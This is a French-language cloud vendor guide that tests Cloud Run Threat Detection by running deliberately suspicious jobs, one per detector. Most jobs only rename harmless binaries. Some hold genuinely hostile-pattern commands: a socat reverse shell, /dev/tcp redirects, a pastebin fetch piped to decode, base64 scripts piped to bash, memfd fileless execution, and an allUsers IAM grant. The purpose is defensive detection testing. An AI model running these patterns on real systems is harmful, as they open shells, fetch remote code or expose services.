Cette page explique comment vérifier que Cloud Run Threat Detection fonctionne en déclenchant intentionnellement des détecteurs et en vérifiant les résultats. Cloud Run Threat Detection est un service intégré de Security Command Center.
Avant de commencer
Pour détecter les menaces potentielles qui pèsent sur vos services et tâches Cloud Run, assurez-vous que le service Cloud Run Threat Detection est activé dans Security Command Center. Certains détecteurs sont désactivés par défaut. Pour les tester détecteurs, vous devez d'abord les activer.
Définir des variables d'environnement
Pour tester les détecteurs, utilisez la Google Cloud console et Cloud Shell. Vous pouvez définir des variables d'environnement dans Cloud Shell pour faciliter l'exécution des commandes. Vous utiliserez ces variables pour tester tous les détecteurs.
Accédez à la Google Cloud console.
Sélectionnez le projet contenant la tâche Cloud Run que vous souhaitez utiliser pour le test.
Cliquez sur Activer Cloud Shell.
Dans Cloud Shell, définissez les variables d'environnement :
Définissez le projet et la région dans lesquels vous allez créer des tâches de test.
export PROJECT=PROJECT_ID export REGION=REGION
Une fois les variables d'environnement définies, vous pouvez continuer à suivre les instructions pour tester les détecteurs.
Commande et contrôle : outil de stéganographie détecté
Pour déclencher un Command and Control: Steganography Tool Detected (Aperçu)
résultat, exécutez un fichier binaire avec des fonctionnalités de manipulation de fichiers compatibles avec les
outils de stéganographie dans un conteneur. Cet exemple copie /bin/ls et le renomme steghide.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Command and Control: Steganography Tool
Detected.
Accès aux identifiants : Find Google Cloud Credentials
Pour déclencher un résultat Credential Access: Find Google Cloud Credentials,
exécutez un fichier binaire capable de rechercher le contenu d'un fichier dans un
conteneur. Cet exemple copie /bin/ls, le renomme grep et l'exécute avec des arguments suspects.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un Credential Access: Find Google Cloud Credentials
résultat.
Accès aux identifiants : reconnaissance des clés GPG
Pour déclencher un résultat Credential Access: GPG Key Reconnaissance, exécutez un outil de recherche avec des arguments suspects.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Credential Access: GPG Key Reconnaissance.
Accès aux identifiants : rechercher des clés privées ou des mots de passe
Pour déclencher un résultat Credential Access: Search Private Keys or Passwords, exécutez un outil de recherche avec des arguments suspects.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Credential Access: Search Private Keys or
Passwords.
Évasion de la défense : ligne de commande avec fichier ELF en base64
Pour déclencher un résultat Defense Evasion: Base64 ELF File Command Line, exécutez
base64 avec des arguments d'en-tête ELF encodés.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test doit créer deux résultats Defense Evasion: Base64 ELF File Command Line.
Évasion de la défense : script Python encodé en base64 exécuté
Pour déclencher un résultat Defense Evasion: Base64 Encoded Python Script Executed, exécutez echo avec une commande Python encodée.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Defense Evasion: Base64 Encoded Python Script Executed.
Évasion de la défense : script shell encodé en base64 exécuté
Pour déclencher un résultat Defense Evasion: Base64 Encoded Shell Script Executed, exécutez echo avec une commande shell encodée.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Defense Evasion: Base64 Encoded Shell Script Executed.
Évasion de la défense : lancer un outil de compilation de code dans un conteneur
Pour déclencher un résultat Defense Evasion: Launch Code Compiler Tool In Container
(Aperçu), exécutez un outil de compilation.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Defense Evasion: Launch Code Compiler Tool
In Container.
Exécution : binaire malveillant ajouté exécuté
Pour déclencher un résultat Execution: Added Malicious Binary Executed, ajoutez un fichier binaire malveillant (EICAR) à votre conteneur et exécutez-le.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Added Malicious Binary Executed.
Exécution : bibliothèque malveillante ajoutée chargée
Pour déclencher un résultat Execution: Added Malicious Library Loaded, ajoutez
une bibliothèque malveillante à votre conteneur et chargez-la. Cet exemple met à jour le fichier /tmp/test_mal_lib avec une bibliothèque malveillante simulée, puis la charge à l'aide de mmap. Le chargement de la bibliothèque
d'un fichier existant est inattendu, car le fichier ne se trouvait pas dans l'image de conteneur d'origine et la bibliothèque est un fichier de test EICAR
, qui est classé comme malveillant par le renseignement sur les menaces.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Added Malicious Library Loaded.
Exécution : échappement de conteneur
Pour déclencher un résultat Execution: fuite du conteneur, exécutez un outil simulant un comportement d'échappement de conteneur.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Container Escape.
Exécution : exécution sans fichier dans /memfd:
Pour déclencher un résultat Execution: Fileless Execution in /memfd:,
exécutez un processus à partir du système de fichiers en mémoire /memfd: à l'aide de Python.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command=bash \
--args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Fileless Execution in /memfd:.
Exécution : exécution d'un outil d'attaque de Kubernetes
Pour déclencher un résultat Execution: Kubernetes Attack Tool Execution, exécutez un programme qui correspond à un outil d'attaque connu.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Kubernetes Attack Tool Execution.
Exécution : exécution d'un outil de reconnaissance local
Pour déclencher un résultat Execution: Local Reconnaissance Tool Execution, exécutez un programme qui correspond à un outil de reconnaissance.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Local Reconnaissance Tool Execution.
Exécution : binaire malveillant modifié exécuté
Pour déclencher un résultat Execution: Modified Malicious Binary Executed, modifiez un fichier binaire pour qu'il corresponde à une signature malveillante connue (EICAR).
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Modified Malicious Binary Executed.
Exécution : bibliothèque malveillante modifiée chargée
Pour déclencher un résultat Execution: Modified Malicious Library Loaded, modifiez un fichier existant avec une bibliothèque malveillante dans votre conteneur et chargez-le. Cet exemple met à jour le fichier /etc/issue avec une bibliothèque malveillante simulée, puis la charge à l'aide de mmap. Le chargement de la bibliothèque
d'un fichier existant est inattendu, car la bibliothèque est un fichier de test EICAR
, qui est classé comme malveillant par le renseignement sur les menaces.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Modified Malicious Library Loaded.
Exécution : exécution de code Netcat à distance dans un conteneur
Pour déclencher un événement Execution: Netcat Remote Code Execution In Container, exécutez netcat avec des arguments suspects.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un Execution: Netcat Remote Code Execution In
Container résultat.
Exécution : exécution possible de commandes arbitraires via CUPS (CVE-2024-47076)
Pour déclencher un résultat Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), exécutez un script simulant l'exploit.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).
Exécution : possible exécution de commande à distance détectée
Pour déclencher un Execution: Possible Remote Command Execution Detected
(Aperçu) résultat, exécutez une commande tentant une connexion à distance.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un Execution: Possible Remote Command
Execution Detected résultat.
Exécution : exécution d'un programme avec un environnement de proxy HTTP non autorisé
Pour déclencher un résultat Execution: Program Run with Disallowed HTTP Proxy Env, exécutez un programme avec une variable d'environnement de proxy incorrecte.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un Execution: Program Run with Disallowed
HTTP Proxy Env résultat.
Exécution : shell inversé de Socat détecté
Pour déclencher un résultat Execution: Socat Reverse Shell Detected, établissez un shell inversé à l'aide de l'utilitaire socat.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Socat Reverse Shell Detected.
Exécution : objet partagé OpenSSL suspect chargé
Pour déclencher un résultat Execution: Suspicious OpenSSL Shared Object Loaded, exécutez openssl avec une bibliothèque suspecte.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Suspicious OpenSSL Shared Object Loaded.
Exfiltration : lancer des outils de copie de fichiers à distance dans un conteneur
Pour déclencher un résultat Exfiltration: Launch Remote File Copy Tools In Container, exécutez un outil de copie à distance.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un Exfiltration: Launch Remote File Copy Tools
In Container résultat.
Impact : détecter les lignes de commande malveillantes
Pour déclencher un résultat Impact: Detect Malicious Cmdlines (Aperçu),
exécutez un nom de commande suspect (IPFS).
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Impact: Detect Malicious Cmdlines.
Impact : supprimer des données du disque de manière groupée
Pour déclencher un résultat Impact: Remove Bulk Data From Disk, exécutez un outil tel que shred.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Impact: Remove Bulk Data From Disk.
Impact : activité de minage de cryptomonnaie suspecte utilisant le protocole Stratum
Pour déclencher un résultat Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol, exécutez un fichier binaire avec des arguments semblables à ceux utilisés par
un logiciel de minage de cryptomonnaie communiquant à l'aide du protocole Stratum.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol résultat.
Script malveillant exécuté
Pour déclencher un résultat Malicious Script Executed, exécutez un script qui imite un comportement malveillant.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Malicious Script Executed.
URL malveillante observée
Pour déclencher un résultat Malicious URL Observed, exécutez un fichier binaire et fournissez une URL malveillante comme argument.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test déclenche un résultat Malicious URL Observed.
Élévation des privilèges : utilisation abusive de Sudo pour l'élévation des privilèges (CVE-2019-14287)
Pour déclencher un résultat Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), exécutez le fichier binaire sudo avec le paramètre -u#-1.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).
Élévation des privilèges : élévation potentielle des privilèges de Sudo (CVE-2021-3156)
Pour déclencher un résultat Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), exécutez le fichier binaire sudo avec le paramètre -s et un paramètre se terminant par ``.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).
Élévation des privilèges : faille liée à l'élévation des privilèges locaux de Polkit (CVE-2021-4034)
Pour déclencher un résultat Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), exécutez un fichier binaire pkexec avec la variable d'environnement GCONV_PATH définie en tant qu'utilisateur non root.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).
Interface système inversée
Pour déclencher un résultat Reverse Shell, démarrez un fichier binaire avec une redirection stdin vers un socket connecté TCP.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Reverse Shell.
Exécution : image Docker de minage de cryptomonnaie
Pour déclencher un résultat Execution: Cryptomining Docker Image, déployez un conteneur à l'aide d'un nom d'image Docker associé à un logiciel de minage de cryptomonnaie.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Execution: Cryptomining Docker Image. Notez que le déploiement de la tâche échouera, car l'image n'existe pas, mais le résultat sera quand même généré.
Impact : commandes de minage de cryptomonnaie
Pour déclencher un résultat Impact: Cryptomining Commands, exécutez une commande avec des arguments semblables à ceux d'un logiciel de minage de cryptomonnaie connu.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Cette procédure de test crée un résultat Impact: Cryptomining Commands.
Élévation des privilèges : SetIAMPolicy du compte de service Compute Engine par défaut
Pour déclencher un résultat Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, exécutez une commande qui utilise le compte de service Compute Engine par défaut pour définir la stratégie IAM d'un service Cloud Run.
Créez et exécutez la tâche Cloud Run :
JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
